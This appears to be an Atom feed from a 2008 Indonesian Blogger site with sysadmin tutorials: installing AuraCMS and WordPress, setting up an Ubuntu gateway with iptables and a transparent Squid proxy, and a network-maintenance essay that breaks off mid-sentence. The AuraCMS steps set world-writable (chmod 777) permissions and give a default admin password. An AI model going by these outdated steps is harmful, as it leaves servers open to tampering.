Ubuntu&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-591325988107364240</id><published>2008-10-22T20:40:00.001+07:00</published><updated>2008-10-22T20:48:47.834+07:00</updated><title type='text'>Instalasi Aura CMS di Ubuntu</title><content type='html'>Instalasi AuraCMS&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Langkah-langkah instalasi:&lt;br /&gt;&lt;br /&gt;1. Extract file ZIP yang di download ke folder / directory yang baru&lt;br /&gt;2. Edit file config.php,&lt;br /&gt;ganti parameter yang ada dengan parameter Anda punya seperti :&lt;br /&gt;host, database, username, password untuk MySQL server&lt;br /&gt;3. Set up table dan data di MySQL database Anda&lt;br /&gt;Dump auracms15.sql dengan PHPMyAdmin atau MySQLFront&lt;br /&gt;4. Untuk mengganti tampilan situs, edit default theme yang di set di&lt;br /&gt;config.php, pada themes/… directory/folder&lt;br /&gt;buka header.php &amp; footer.php, lakukan perubahan seperlunya&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Upload file ke webhosting.&lt;br /&gt;set file permission seperti berikut :&lt;br /&gt;chmod 755 untuk file-file *.php&lt;br /&gt;chmod 777 untuk folder /images&lt;br /&gt;chmod 777 untuk folder /files&lt;br /&gt;chmod 777 to file /mod/online.db.txt&lt;br /&gt;chmod 777 to file /mod/counter.txt&lt;br /&gt;chmod 777 to file /mod/month.txt&lt;br /&gt;chmod 777 to file /mod/today.txt&lt;br /&gt;6. Selesai !&lt;br /&gt;&lt;br /&gt;Sekarang Anda bisa mengakses situs Anda di http://www.yourdomain.com/&lt;br /&gt;&lt;br /&gt;UntuK diingat :&lt;br /&gt;&lt;br /&gt;Layar admin bisa diakses dari http://www.yourdomain.com/admin/&lt;br /&gt;ATAU&lt;br /&gt;http://www.yourdomain.com/?pilih=admin&lt;br /&gt;&lt;br /&gt;Untuk login pertama gunakan :&lt;br /&gt;username =&gt; admin&lt;br /&gt;password =&gt; abc&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-591325988107364240?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/591325988107364240/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=591325988107364240' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/591325988107364240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/591325988107364240'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2008/10/instalasi-aura-cms-di-ubuntu.html' title='&lt;blink&gt;Instalasi Aura CMS di Ubuntu&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-2820824277411921858</id><published>2008-10-22T20:39:00.005+07:00</published><updated>2008-10-23T12:30:43.159+07:00</updated><title type='text'>Menginstall WordPress di Ubuntu 7.04</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span&gt;Menginstall WordPress di Ubuntu 7.04&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;WordPress adalah sebuah blog engine yang powerful dan cukup terkenal saat ini. Kode sumber wordpress juga tersedia untuk publik karena blog engine yang satu ini memang berbasis open source. Jika ingin mendapatkan sebuah account dan hosting gratis silakan mendaftar di wordpress.org, setelah menjadi anggota Anda akan memperoleh sebuah alamat dengan format nama-anda.wordpress.org.&lt;br /&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Selain itu wordpress juga dapat diinstall di komputer lokal, tulisan saya kali ini akan membahas tentang instalasi wordpress di Ubuntu 7.04, namun tidak menutup kemungkinan dapat diterapkan di distro lainnya. Untuk dapat melakukan instalasi setidaknya Anda sudah mempunyai DVD repo Ubuntu 7.04 (semuanya berjumlah 4) atau koneksi internet yang memadai untuk mendownload paket-paket yang dibutuhkan dari salah satu mirror repo Ubuntu. Sebelum menginstall wordpress pastikan apache, php5, dan mysql sudah terinstall dan berjalan dengan baik (lihat tulisan saya sebelumnya).&lt;br /&gt;&lt;br /&gt;Untuk melakukan instalasi ketikkan perintah berikut dari terminal&lt;br /&gt;&lt;br /&gt;sudo apt-get install wordpress&lt;br /&gt;&lt;br /&gt;Setelah itu kopikan file setup-mysql dari /usr/share/doc/wordpress/example/ ke /etc/wordpress, lalu jalankan script tersebut&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cd /etc/wordpress&lt;br /&gt;sudo cp /usr/share/doc/wordpress/example/setup-mysql \ setup-mysql&lt;br /&gt;sudo bash setup-mysql -n nama_user host_name&lt;br /&gt;&lt;br /&gt;nama_user adalah user name yang akan digunakan untuk mengakses database mysql, sekaligus juga menjadi nama database yang akan digunakan, sedangkan host_name adalah nama komputer tempat wordpress akan diinstall (biasanya localhost untuk komputer standalone).&lt;br /&gt;&lt;br /&gt;Sampai ditahap ini instalasi wordpress sudah hampir selesai. Langkah berikutnya buka sebuah web browser dan ketikkan localhost/localhost. Ikuti langkah-langkahnya sampai selesai (jangan lupa untuk membaca setiap petunjuknya dengan baik). Di tahap akhir silakan log in dengan user name admin dan pasword yang diberikan saat proses instalasi (ditampilkan dihalaman terakhir sebelum halaman log in). Setelah log in semua hal yang bisa dilakukan di wordpress.org seperti posting, menambah link, mengganti password dll sudah dapat dilakukan di localhost. Happy blogging!&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-2820824277411921858?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/2820824277411921858/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=2820824277411921858' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2820824277411921858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2820824277411921858'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2008/10/wordpress-adalah-sebuah-blog-engine.html' title='&lt;blink&gt;Menginstall WordPress di Ubuntu 7.04&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-2740577155773474096</id><published>2008-10-22T20:27:00.003+07:00</published><updated>2008-10-23T12:32:21.015+07:00</updated><title type='text'>KONFIGURASI UBUNTU SERVER SEBAGAI GATEWAY</title><content type='html'>&lt;span&gt;KONFIGURASI UBUNTU SERVER SEBAGAI GATEWAY&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pada tutorial ini kita akan memulai konfigurasi ubuntu server yang telah terinstall&lt;br /&gt;dalam mesin anda sebagai gateway untuk internet dan dipadukan dengan squid&lt;br /&gt;sebagai transparasi proxy.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;1. Dimisalkan ubuntu server telah terinstall dalam mesin anda. Kemudian&lt;br /&gt;silahkan login dengan user yang telah dibuat dalam proses penginstallan.&lt;br /&gt;&lt;br /&gt;2. Setelah anda login dengan user yang dibuat, kita akan membuat password&lt;br /&gt;untuk user “root” atau administrator dengan mengetik perintah “sudo passwd&lt;br /&gt;root”, kemudian masukkan password untuk user yang kita buat tadi.&lt;br /&gt;Kemudian baru masukkan password untuk user root dari mesin anda&lt;br /&gt;Tim ICT Center Kabupaten Batang Tahun 2008&lt;br /&gt;&lt;br /&gt;3. Jika password yang anda masukkan sama maka anda telah berhasil mengganti&lt;br /&gt;password root. Komentar jika password anda tepat adalah “password&lt;br /&gt;updated successfully”&lt;br /&gt;&lt;br /&gt;4. Untuk mengecek apakah anda telah dapat login dengan user root ketik “exit”&lt;br /&gt;kemudian login lagi dengan user root dan masukkan password root yang telah&lt;br /&gt;dibuat.&lt;br /&gt;Tampilan jika telah berhasil login dengan user root.&lt;br /&gt;&lt;br /&gt;5. Tahap selanjutnya adalah konfigurasi kartu jaringan ubuntu server yang akan&lt;br /&gt;digunakan sebagai router gateway. Sebelumnnya edit file konfigurasi jaringan&lt;br /&gt;dengan nama interfaces yang terdapat di dalam folder /etc/network.&lt;br /&gt;Perintah : cd /etc/network&lt;br /&gt;vim interfaces&lt;br /&gt;&lt;br /&gt;6. Kemudian tambahkan konfigurasi ip untuk jaringan di ethernet yang ke lan&lt;br /&gt;atau eth1. Dalam kasus ini sesuai dengan desain jaringan sebelumnya ethernet&lt;br /&gt;yang ke LAN dengan “IP 192.168.20.1” dan ethernet yang ke INTERNET&lt;br /&gt;atau eth0 dengan “IP 172.19.99.21” dan default “gateway&lt;br /&gt;172.19.99.254” Untuk mulai mengedit file interfaces tekan tombol “I”&lt;br /&gt;pada keyboard sehingga status berubah menjadi “INSERT” setelah&lt;br /&gt;selesai menambahkan konfigurasi tekan tombol “ESC”. Untuk&lt;br /&gt;menyimpan konfigurasi dan keluar dari ketik “:wq”.&lt;br /&gt;&lt;br /&gt;7. Kemudian untuk menerapkan konfigurasi diatas kita restart konfigurasi&lt;br /&gt;jaringan dengan menggunakan perintah : /etc/init.d/networking restart&lt;br /&gt;&lt;br /&gt;8. Cek perubahan konfigurasi IP dengan perintah : “ifconfig”.&lt;br /&gt;&lt;br /&gt;9. Setelah itu tambahkan baris “net.ipv4.ip_forward = 1” di dalam file&lt;br /&gt;sysctl.conf baris terbawah yang terdapat dalam folder /etc/, dengan perintah&lt;br /&gt;“ vim /etc/sysctl.conf ”. Sehingga isi file konfigurasinya menjadi :&lt;br /&gt;&lt;br /&gt;10. Setelah itu restart kembali konfigurasi jaringan dan coba ping ke alamat&lt;br /&gt;www.google.co.id&lt;br /&gt;&lt;br /&gt;11. Setelah mesin ubuntu dapat terkoneksi dengan internet ketik perintah : apt-get&lt;br /&gt;update untuk mengupdate database repository yang diperlukan untuk instalasi&lt;br /&gt;software.&lt;br /&gt;&lt;br /&gt;12. Setelah proses update, sekarang kita install software squid yang diperlukan&lt;br /&gt;untuk web-chace dan transparasi proxy dengan mengetik perintah : apt-get&lt;br /&gt;install squid.&lt;br /&gt;&lt;br /&gt;13. Jika proses instalasi squid telah berhasil lanjutkan dengan menambahkan&lt;br /&gt;perintah iptablesnya melalui perintah :&lt;br /&gt;iptables –t nat –A PREROUTING –i eth1 –p tcp –dport 80 –j DNAT&lt;br /&gt;–to-destination 192.168.20.1:8080&lt;br /&gt;iptables –t nat –A POSTROUTING –s 192.168.20.0/255.255.255.0 –j&lt;br /&gt;MASQUERADE&lt;br /&gt;Maksud dari perintah pertama diatas adalah untuk mengalihkan seluruh paket&lt;br /&gt;yang menuju ke ethernet 1 dengan alamat port 80 untuk dialihkan ke port&lt;br /&gt;8080 yang akan menjadi port service dari squid sehingga setiap paket dapat&lt;br /&gt;di monitoring. Sedangkan perintah kedua digunakan untuk&lt;br /&gt;“memasking” jaringan LAN yang terdapat dibawah router agar hanya&lt;br /&gt;ip publik router ubuntu saja yang dikenal di internet.&lt;br /&gt;&lt;br /&gt;14. Kemudian Simpan Konfigurasi iptables dengan mengetik perintah : iptablessave&lt;br /&gt;&gt; /etc/network/iptables&lt;br /&gt;&lt;br /&gt;15. Agar konfigurasi selalu dapat berjalan saat mesin ubuntu server dihidupkan&lt;br /&gt;ulang atau booting tambahkan baris berikut :&lt;br /&gt;“iptables-restore /etc/network/iptables” di dalam file rc.local yang&lt;br /&gt;terdapat pada folder /etc/init.d/&lt;br /&gt;&lt;br /&gt;16. Kemudian restart service dengan menggunakan perintah&lt;br /&gt;“/etc/init.d/rc.local start”.&lt;br /&gt;&lt;br /&gt;17. Langkah selanjutnya adalah konfigurasi squid. Caranya adalah dengan&lt;br /&gt;berpindah ke dalam folder /etc/squid dengan menggunakan perintah&lt;br /&gt;“cd /etc/squid”, kemudian edit file squid.conf dan sesuaikan&lt;br /&gt;konfigurasinya menjadi seperti dibawah ini :&lt;br /&gt;http_port 8080 transparent&lt;br /&gt;acl QUERY urlpath_regex cgi-bin \?&lt;br /&gt;#redirect_program /usr/bin/adzapper.wrapper&lt;br /&gt;ipcache_size 2056&lt;br /&gt;ipcache_low 90&lt;br /&gt;ipcache_high 95&lt;br /&gt;cache_mem 95 MB&lt;br /&gt;maximum_object_size 10096 KB&lt;br /&gt;maximum_object_size_in_memory 8 KB&lt;br /&gt;cache_access_log /var/log/squid/access.log&lt;br /&gt;cache_dir ufs /var/spool/squid 900 16 256&lt;br /&gt;cache_log /var/log/squid/cache.log&lt;br /&gt;cache_store_log /var/log/squid/store.log&lt;br /&gt;#Recommended minimum configuration:&lt;br /&gt;acl all src 0.0.0.0/0.0.0.0&lt;br /&gt;acl manager proto cache_object&lt;br /&gt;acl localhost src 127.0.0.1/255.255.255.255&lt;br /&gt;acl to_localhost dst 127.0.0.0/8&lt;br /&gt;acl SSL_ports port 443 # https&lt;br /&gt;acl SSL_ports port 563 # snews&lt;br /&gt;acl SSL_ports port 873 # rsync&lt;br /&gt;acl Safe_ports port 80 # http&lt;br /&gt;acl Safe_ports port 21 # ftp&lt;br /&gt;acl Safe_ports port 443 # https&lt;br /&gt;acl Safe_ports port 70 # gopher&lt;br /&gt;acl Safe_ports port 210 # wais&lt;br /&gt;acl Safe_ports port 1025-65535 # unregistered ports&lt;br /&gt;acl Safe_ports port 280 # http-mgmt&lt;br /&gt;acl Safe_ports port 488 # gss-http&lt;br /&gt;acl Safe_ports port 591 # filemaker&lt;br /&gt;acl Safe_ports port 777 # multiling http&lt;br /&gt;acl Safe_ports port 631 # cups&lt;br /&gt;acl Safe_ports port 873 # rsync&lt;br /&gt;acl Safe_ports port 901 # SWAT&lt;br /&gt;acl purge method PURGE&lt;br /&gt;acl CONNECT method CONNECT&lt;br /&gt;#Recommended minimum configuration:&lt;br /&gt;Tim ICT Center Kabupaten Batang Tahun 2008&lt;br /&gt;# Only allow cachemgr access from localhost&lt;br /&gt;http_access allow manager localhost&lt;br /&gt;http_access deny manager&lt;br /&gt;http_access deny !Safe_ports&lt;br /&gt;http_access deny CONNECT !SSL_ports&lt;br /&gt;#http_access deny to_localhost&lt;br /&gt;#================konfigurasi client ================&lt;br /&gt;acl bahaya url_regex "/etc/squid/blokir.txt"&lt;br /&gt;http_access deny bahaya&lt;br /&gt;acl client src 192.168.20.0/24&lt;br /&gt;http_access allow client&lt;br /&gt;#httpd_accel_port 80&lt;br /&gt;#httpd_accel_host virtual&lt;br /&gt;#httpd_accel_single_host off&lt;br /&gt;#httpd_accel_with_proxy on&lt;br /&gt;#httpd_accel_uses_host_header on&lt;br /&gt;http_access allow localhost&lt;br /&gt;http_reply_access allow all&lt;br /&gt;visible_hostname server-smk1.or.id&lt;br /&gt;cache_mgr admin@smk1batang.or.id&lt;br /&gt;forwarded_for on&lt;br /&gt;ie_refresh on&lt;br /&gt;&lt;br /&gt;18. Kemudian buat sebuah file didalam folder /etc/squid dengan nama blokir.txt.&lt;br /&gt;&lt;br /&gt;19. Setelah mengedit file squid.conf simpan konfigurasi dan restart service squid&lt;br /&gt;dengan mengetik perintah : /etc/init.d/squid restart.&lt;br /&gt;&lt;br /&gt;20. Setelah semua konfigurasi selesai, setting ip di client dengan menggunakan&lt;br /&gt;gateway dari ip lan ubuntu server, dimana ipnya adalah 192.168.20.1&lt;br /&gt;kemudian lakukan tes ping ke alamat www.google.co.id&lt;br /&gt;&lt;br /&gt;21. Jika berhasil silahkan coba browsing dari client, jika konfigurasi anda benar&lt;br /&gt;akan terbuka alamat yang anda tuju.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-2740577155773474096?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/2740577155773474096/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=2740577155773474096' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2740577155773474096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2740577155773474096'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2008/10/konfigurasi-ubuntu-server-sebagai_22.html' title='&lt;blink&gt;KONFIGURASI UBUNTU SERVER SEBAGAI GATEWAY&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-3905720753019711532</id><published>2008-10-22T19:55:00.002+07:00</published><updated>2008-10-22T19:58:05.231+07:00</updated><title type='text'>Jaringan</title><content type='html'>Setelah mengetahui bagaimana mendesain dan membuat jaringan, Anda dapat melakukan tugas seperti memilih, menginstalasi, dan mengetes kabel, serta menentukan di mana tempat kabel diletakkan. Namun, desain dan implementasi jaringan hanya sebagian dari yang perlu Anda ketahui. Anda harus mengetahui bagaimana memelihara jaringan dan menjaganya tetap berfungsi pada tingkat yang diinginkan. Ini berarti Anda harus mengetahui bagaimana mengatasi masalah pada waktu mereka muncul. Di samping itu, Anda harus tahu kapan ekspansi atau perubahan konfigurasi jaringan dilakukan supaya dapat memenuhi permintaan. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Pada edisi kali ini, kita akan melihat tentang pemeliharaan jaringan menggunakan dokumentasi, monitoring, dan troubleshooting.&lt;br /&gt;Bagaimana Jaringan Kelihatannya?&lt;br /&gt;Pandangan terhadap jaringan itu penting. Jaringan adalah sekumpulan perangkat yang berhubungan satu sama lain untuk menyediakan komunikasi. Ketika administrator melihat jaringan, haruslah secara keseluruhan bukan individu. Dengan kata lain, masingmasing perangkat pada jaringan mempengaruhi perangkat lain dan jaringan secara keseluruhan. Tidak ada yang diisolasi ketika dihubungkan ke jaringan.&lt;br /&gt;Sebagai perbandingan ambil contoh mobil. Mobil adalah sekumpulan onderdil yang menyediakan transportasi. Mesin memberikan tenaga untuk menggerakkan mobil, tetapi ia tidak akan berfungsi dengan baik jika sistem bahan bakar tidak bekerja atau bannya hilang. Rem juga komponen yang penting, tetapi sekali lagi, tanpa sistem hidrolik rem tidak akan berfungsi dan mobil tidak akan berhenti. Tanpa semua komponen bekerja sama, mobil tidak akan dapat melakukan tugas yang dimaksudkan: transportasi.&lt;br /&gt;Hal yang sama juga berlaku untuk jaringan. Jika server jaringan menggunakan protokol TCP/IP dan host-nya tidak, mereka tidak akan dapat berkomunikasi. Jika jaringan bekerja bagus dan admnistrator hanya mengubah protokol pada satu sisi, jaringan berhenti bekerja. Satu perangkat mempengaruhi bagaimana perangkat lain bekerja. Contoh lain misalnya DNS server dengan alamat IP 202.58.68.7. Semua host Anda dikonfigurasi untuk mencari DNS server pada alamat IP tersebut. Jika administrator jaringan mengubah alamat IP DNS tanpa mengubah host, maka mereka tidak lagi mempunyai layanan DNS.&lt;br /&gt;Hal penting yang perlu diingat pada waktu menangani jaringan adalah dengan melihatnya sebagai satu kelompok perangkat individu yang saling terhubung. Ini juga berlaku untuk Wide Area Network yang digunakan pada waktu terhubung ke Internet. Perubahan yang dilakukan ke router di tempat Anda secara langsung akan mempengaruhi efisiensi dan keandalan komunikasi seluruh sistem.&lt;br /&gt;Definisi dan Batas Tanggung Jawab&lt;br /&gt;Pada jaringan perusahaan, staf jaringan harus tahu tanggung jawabnya. Apakah tanggung jawab staf jaringan untuk mendiagnosis masalah pada desktop user, atau mengatakan bahwa masalah user tidak berhubungan dengan komunikasi? Apakah tanggung jawab staf&lt;br /&gt;jaringan hanya sebatas sampai panel kabet di dinding atau sampai ke NIC?&lt;br /&gt;Definisi seperti itu sangat penting bagi bagian jaringan. Mereka mempengaruhi beban kerja masing-masing orang, dan biaya layanan jaringan untuk perusahaan. Semakin besar tanggung jawab staf jaringan, semakin besar biaya resource. Bayangkan sebuah restoran yang dimiliki dan dioperasikan oleh satu individu. Satu orang ini bertanggung jawab untuk semua tugas, termasuk memasak, melayani, mencuci piring, dan membayar tagihan. Biasa, sumber daya manusia restoran tersebut relatif rendah, tetapi kemungkinan untuk tumbuh dan berkembang terbatas sampai pemilik mempekerjakan juru masak, pelayan, dan akuntan. Sekarang setelah tanggung jawab dibagi, restoran dapat melayani lebih banyak orang dengan lebih efisien. Tentu saja, akibatnya biaya resource meningkat seiring adanya pertumbuhan dan ekspansi.&lt;br /&gt;Seperti yang ditunjukkan pada contoh restoran, pekerjaan support jaringan bisa meliputi semua aspek jaringan atau dibatasi pada komponen tertentu saja. Tanggung jawab ini perlu ditentukan dan dilaksanakan pada tiap-tiap bagian. Kunci untuk memahami hubungan ini adalah bahwa membuat area tanggung jawab terlalu besar bisa memperbesar resource, tetapi membuat area tanggung jawab terlalu kecil membuatnya sulit untuk mengatasi masalah pada jaringan secara efektif.&lt;br /&gt;Biaya Jaringan&lt;br /&gt;Administrasi jaringan meliputi banyak tanggung jawab, termasuk analisis biaya. Ini berarti tidak hanya biaya desain dan implementasi jaringan, tetapi juga biaya pemeliharaan, upgrade, dan monitoring jaringan. Menentukan biaya instalasi jaringan bukanlah tugas yang sulit bagi sebagian besar administrator jaringan. Daftar perangkat dan harga sudah tersedia; biaya tenaga kerja dapat dihitung menggunakan rating tetap. Sayangnya, biaya pembangunan jaringan hanyalah permulaan saja.&lt;br /&gt;Berikut adalah beberapa faktor biaya lain yang harus dipertimbangkan: pertumbuhan jaringan; pelatihan teknisi dan user; dan penggunaan software. Biaya-biaya ini jauh lebih sulit diperkirakan dibanding biaya membangun jaringan. Administrator jaringan harus bisa melihat historis tren dan pertumbuhan perusahaan untuk memperkirakan biaya pertumbuhan jaringan. Seorang manajer harus melihat software dan hardware baru untuk menentukan apakah perusahaan akan mengimplementasikan mereka dan kapan, termasuk&lt;br /&gt;pelatihan para staf untuk mendukung teknologi baru tersebut.&lt;br /&gt;Biaya peralatan untuk operasional yang kritis juga perlu dimasukkan ke dalam biaya pemeliharaan jaringan. Bayangkan, bisnis berbasis Internet yang menggunakan satu router untuk terhubung ke Internet. Jika router tersebut tidak berfungsi, perusahaan Anda tidak dapat melakukan kegiatan sampai router diganti. Ini bisa menyebabkan perusahaan menderita jutaan rupiah karena kehilangan penjualan. Administrator jaringan yang bijaksana akan menyimpan router cadangan untuk memperkecil waktu downtime perusahaan.&lt;br /&gt;Laporan Kesalahan&lt;br /&gt;Seperti yang telah disebutkan, manajemen jaringan yang efektif memerlukan dokumentasi yang lengkap, oleh karena itu jika timbul suatu masalah perlu dibuat laporan kesalahan. Laporan ini digunakan untuk mengumpulkan informasi dasar yang diperlukan untuk mengidentifikasi dan menentukan masalah, dan juga memberi cara dalam memantau kemajuan dan solusi akhir dari masalah tersebut. Laporan kesalahan memberikan pertimbangan kepada manajemen dalam mempekerjakan staf baru, membeli perangkat, dan memberi pelatihan tambahan. Laporan ini juga memberikan solusi untuk masalah yang sama yang telah dipecahkan.&lt;br /&gt;Mengapa Jaringan Perlu Dimonitor?&lt;br /&gt;Meskipun ada banyak alasan untuk memonitor jaringan, dua alasan utama adalah memperkirakan perubahan untuk masa depan dan mendeteksi perubahan yang tak terduga pada jaringan. Perubahan yang tak terduga bisa meliputi hal seperti router atau switch yang tidak berfungsi, hacker mencoba mendapatkan akses ke jaringan, atau kesalahan jalur komunikasi. Tanpa kemampuan untuk memonitor jaringan, administrator hanya dapat bereaksi terhadap masalah pada waktu mereka muncul, bukannya lebih dulu mencegah masalah supaya tidak terjadi.&lt;br /&gt;Memonitoring Wide Area Network menggunakan banyak cara yang sama seperti pada Local Area Network. Salah satu perbedaan utama antara WAN dan LAN adalah penempatan fisik peralatan. Penempatan dan penggunaan tool monitoring menjadi sangat penting bagi operasional Wide Area Network yang tidak boleh terganggu.&lt;br /&gt;Troubleshooting Jaringan&lt;br /&gt;Permasalahan terjadi! Bahkan ketika jaringan dimonitor, perangkat dapat diandalkan, dan user berhati-hati, ada saja hal yang bermasalah. Pertama dan paling penting adalah menggunakan jurnal rancang-bangun Anda dan membuat catatan. Pembuatan catatan bisa&lt;br /&gt;memberikan cara yang jelas dalam mendiagnosis masalah. Ia bisa memberitahu apa yang telah Anda coba dan bagaimana pengaruhnya terhadap masalah. Ini bisa sangat berharga bagi troubleshooter sehingga usaha yang dilakukan sebelumnya tidak akan diulang lagi.&lt;br /&gt;Membuat catatan juga sangat berharga jika masalah diberikan kepada teknisi lain supaya mereka tidak melakukan kembali semua pekerjaan yang sudah dilakukan. Salinan catatan harus disertakan bersama solusi masalah pada waktu trouble ticket diselesaikan. Ini bisa menjadi referensi untuk masalah serupa yang mungkin terjadi sehubungan dengan masalah tersebut.&lt;br /&gt;Elemen penting lain dari troubleshooting adalah penamaan (labeling). Beri label semuanya, termasuk kedua ujung kabel. Label tersebut tidak hanya meliputi nama kabel, tetapi juga di mana ujung yang lain berada dan penggunaan kabel, misalnya, untuk suara, data atau video.&lt;br /&gt;Pada waktu troubleshotting, label seperti ini bisa lebih berharga dibanding catatan pemasangan kabel karena label berada bersama dengan unit dan tidak tersimpan dalam laci di suatu tempat. Bersama dengan label kabel, pemberian label masing-masing port pada hub, switch, atau router berikut lokasi, keperluan, dan titik koneksi akan sangat mempermudah sehingga masalah bisa diatasi.&lt;br /&gt;Semua komponen lain yang dihubungkan ke jaringan juga harus diberi label seperti lokasi dan keperluan mereka. Dengan label semacam ini, semua komponen bisa dicari dan keperluan mereka pada jaringan bisa diketahui dengan mudah. Penggunaan label bersama dokumentasi jaringan akan memberi gambaran lengkap tentang jaringan dan hubungannya.&lt;br /&gt;Satu hal penting lain yang perlu diingat bahwa dokumentasi hanya berguna jika berisi informasi terbaru. Semua perubahan yang dilakukan ke jaringan harus dicatat pada perangkat atau kabel yang diubah serta dokumentasi yang digunakan untuk menggambarkan jaringan keseluruhan.&lt;br /&gt;DOKUMENTASI JARINGAN&lt;br /&gt;Komponen pertama dan paling penting untuk jaringan yang baik adalah dokumentasi. Dokumentasi paling sering dibicarakan dan paling sedikit dilakukan dalam jaringan. Dokumentasi mewakili ingatan administrator jaringan. Ia berisi jurnal rancang-bangun Anda, tetapi tidak berhenti sampai di situ. Dokumentasi juga meliputi: diagram yang menunjukkan jalur fisik layout kabel, jenis kabel, panjang masing-masing kabel, jenis terminasi kabel, lokasi fisik masing-masing panel dinding atau patch panel, dan model penamaan (labeling) supaya masing-masing kabel bisa diidentifikasi dengan mudah.&lt;br /&gt;Layout MDF dan IDF&lt;br /&gt;Dokumen ini berisi layout fisik dan logical dari Main Distribution Facility dan semua Intermediate Distribution Facilities pada jaringan. Ini meliputi layout fisik susunan rak, perlengkapan pendukung, server, label patch panel untuk mengidentifikasi terminasi kabel, rincian identifikasi, dan konfigurasi semua perangkat ada.&lt;br /&gt;Konfigurasi Server dan Workstation&lt;br /&gt;Rincian konfigurasi server dan workstation dibuat untuk masing-masing host yang terhubung ke jaringan. Informasi pada dokumen ini distandardisasi dan berisi hal-hal, seperti pembuatan dan model komputer, nomor seri, drive floppy, harddisk, drive DVD/CD-ROM, kartu suara dan jaringan, jumlah RAM, dan rincian fisik lainnya dari komputer. Dokumen ini juga meliputi rincian konfigurasi komputer, konfigurasi IRQ, DMA dan Base Memory dari kartu peripheral. Terakhir, dokumen berisi lokasi fisik, user, dan identitas jaringan (alamat IP, MAC address, subnet, topologi) dari komputer itu.&lt;br /&gt;Daftar Software&lt;br /&gt;Daftar software berisi software standar dan khusus yang digunakan masing-masing mesin pada jaringan, dan rincian konfigurasi instalasi standar pada masing-masing paket software. Daftar ini juga meliputi operating system dan aplikasi.&lt;br /&gt;Catatan Maintenance&lt;br /&gt;Penting juga untuk menyimpan catatan semua perbaikan yang dilakukan pada perlengkapan yang dimasukkan ke dalam jaringan. Ini akan membantu administrator untuk memperkirakan masalah yang mungkin terjadi dengan hardware dan software pada masa yang akan datang.&lt;br /&gt;Langkah Pengamanan&lt;br /&gt;Dokumen ini tidak hanya meliputi 